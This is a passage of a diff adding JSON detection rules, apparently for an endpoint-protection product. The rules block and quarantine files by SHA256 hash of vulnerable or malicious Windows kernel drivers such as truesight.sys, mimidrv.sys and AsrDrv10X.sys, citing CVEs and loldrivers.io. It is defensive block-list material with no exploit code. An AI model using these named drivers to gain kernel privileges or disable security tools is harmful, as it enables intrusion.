+  "id": "dae00cbc-5630-5df5-98b4-b5258e70c9b8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.824243Z",
+  "creation_date": "2026-03-23T11:45:31.824246Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.824255Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b150744e6f91a6bfba549ebcc0dd1bf3a8cd16c841abd954a876bbdf811d1fa2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "daf855a8-b5a1-5b75-9175-b820d81083eb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.465284Z",
+  "creation_date": "2026-03-23T11:45:30.465287Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.465296Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cf9451c9ccc5509b9912965f79c2b95eb89d805b2a186d7521d3a262cf5a7a37",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "db04da39-2716-51d6-a9f8-9b43c20406fe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823309Z",
+  "creation_date": "2026-03-23T11:45:31.823312Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823320Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c1363c4a199d2d078869aaaa0adeb581331ee6ad53112cb375a71bbf714f94ad",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "db063f08-4220-52dc-9b0d-0d3c5a403e15",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160703Z",
+  "creation_date": "2026-03-23T11:45:31.160705Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160710Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8894089454a522b94ff6a733e457c27491e3d40c9db7769328de5626cdcf7dcb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "db09681a-7ad8-5b49-bc4a-542a626e8fcb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616364Z",
+  "creation_date": "2026-03-23T11:45:29.616366Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616371Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6c64688444d3e004da77dcfb769d064bb38afceeef7ff915dfc71e60e19ff18a",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "db25a70b-abee-530c-9e92-ce3153d53c10",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613407Z",
+  "creation_date": "2026-03-23T11:45:29.613409Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613414Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3943a796cc7c5352aa57ccf544295bfd6fb69aae147bc8235a00202dc6ed6838",
+  "comment": "ASRock vulnerable drivers - Privilege Escalation (aka AsrDrv10X.sys) [CVE-2018-10709] [https://www.exploit-db.com/exploits/45716] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "db29906a-b69a-5007-b76d-73343a5314c8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144856Z",
+  "creation_date": "2026-03-23T11:45:32.144858Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144864Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0058db5dab98d570d418af5c2ea15333bec7723b5819ab4f433d7e7760fae8ed",
+  "comment": "Malicious Kernel Driver (aka driver_146b8f4f.sys) [https://www.loldrivers.io/drivers/cea8bd08-a3c5-4ae1-a568-387b909ada67/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "db29ff68-dc29-56f4-a828-cb095a99f204",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.818322Z",
+  "creation_date": "2026-03-23T11:45:31.818326Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.818335Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "df378b30c98cd531929f6db91bb19fd96e5588f9a01b7a969d3d02529d4444db",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "db3fbb4d-d679-5188-bd0c-34ced063dae6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.833425Z",
+  "creation_date": "2026-03-23T11:45:30.833428Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.833437Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9bbc9d28ae529e9c24db1f081933a2dd41f90e9f66d991732dada38bef414963",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "db425a75-ac04-5374-8b48-988ece0d6c27",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.477725Z",
+  "creation_date": "2026-03-23T11:45:30.477729Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.477738Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "197896f4764d0c9e146cf532bbc531f93e6d61dbf28d25e3e96e2ba48d2b6c6a",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "db59834a-5854-5e2f-ba8d-66bc2af475b1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.815650Z",
+  "creation_date": "2026-03-23T11:45:30.815652Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.815658Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ba386547523c5779e47c59ccb1b853918386cd398f054ac767a3a5b333e3fad3",
+  "comment": "Vulnerable Kernel Driver (aka RadHwMgr.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "db637111-070a-5c7e-9148-5ad22b902c0a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488534Z",
+  "creation_date": "2026-03-23T11:45:31.488536Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488542Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "037a683b360372f57179f20da624e58c006607bd83e2292b8541a9b8483fa546",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "db646702-3a12-5b70-b951-ab785f2d65a7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821370Z",
+  "creation_date": "2026-03-23T11:45:31.821373Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821381Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c31503f95a59bffd5804dae77a83a5cf469829ec3ff7434bc24a8ad7bd86df35",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "db6b8d45-5507-5510-942e-83672fd02eeb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.458193Z",
+  "creation_date": "2026-03-23T11:45:30.458196Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.458205Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e4cf438838dc10b188b3d4a318fd9ba2479abb078458d7f97591c723e2d637ce",
+  "comment": "Vulnerable Kernel Driver (aka nscm.sys) [https://www.loldrivers.io/drivers/351ff5ca-f07b-4eb6-9300-d5d31514defb/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "db738645-0f73-5f35-9d8a-da181b514da7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491867Z",
+  "creation_date": "2026-03-23T11:45:31.491886Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491892Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "058d6312910220df60ca41846c1960214e72527bff6ac38fd3c0004ff142e99d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "db74607c-7bab-52be-a25d-ac1feb72e807",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606404Z",
+  "creation_date": "2026-03-23T11:45:29.606405Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606411Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a6e758caceb7e3f548d5038541fcbadce73aec8212b7b8116c8c4ce1168486ec",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "db74976a-ab9e-53c7-b80c-780bfc2ad02d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140618Z",
+  "creation_date": "2026-03-23T11:45:31.140620Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140626Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a19776f8a166c203029f85a111c0fc270f6f1265626cc55ca85bef69061143e6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "db7b3483-547d-5417-86d9-30d67d0842f7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817178Z",
+  "creation_date": "2026-03-23T11:45:30.817181Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817186Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4ace6dded819e87f3686af2006cb415ed75554881a28c54de606975c41975112",
+  "comment": "Vulnerable Kernel Driver (aka AODDriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "db821369-2e81-5909-a5bc-ce14b30d45d9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825422Z",
+  "creation_date": "2026-03-23T11:45:30.825426Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825435Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "81aac371b0fb635ed36b7c83c5ce52ef3587f92bfc2b98d6641fa2efae2fe782",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "db931d4b-3d06-51ec-87d3-2c08eed5b947",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618040Z",
+  "creation_date": "2026-03-23T11:45:29.618042Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618048Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4710acca9c4a61e2fc6daafb09d72e11b603ef8cd732e12a84274ea9ad6d43be",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "db95c4c6-9a4e-5fe3-b08b-580bbf1f0f51",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608369Z",
+  "creation_date": "2026-03-23T11:45:29.608371Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608376Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b24bd295ebe05f54c8efc353be1ac6cf2c07cf4036ef0756e8296129a8e7a63a",
+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "db9d1dba-5bf3-582c-8681-38c79f2131b0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.836541Z",
+  "creation_date": "2026-03-23T11:45:30.836543Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.836549Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0da33f5906af0bdfe630561ee62ae7a6d882f5a9811ba2638fa84adeadfb7160",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dba433f4-ce45-56f8-92c1-cdc06ee05ecd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
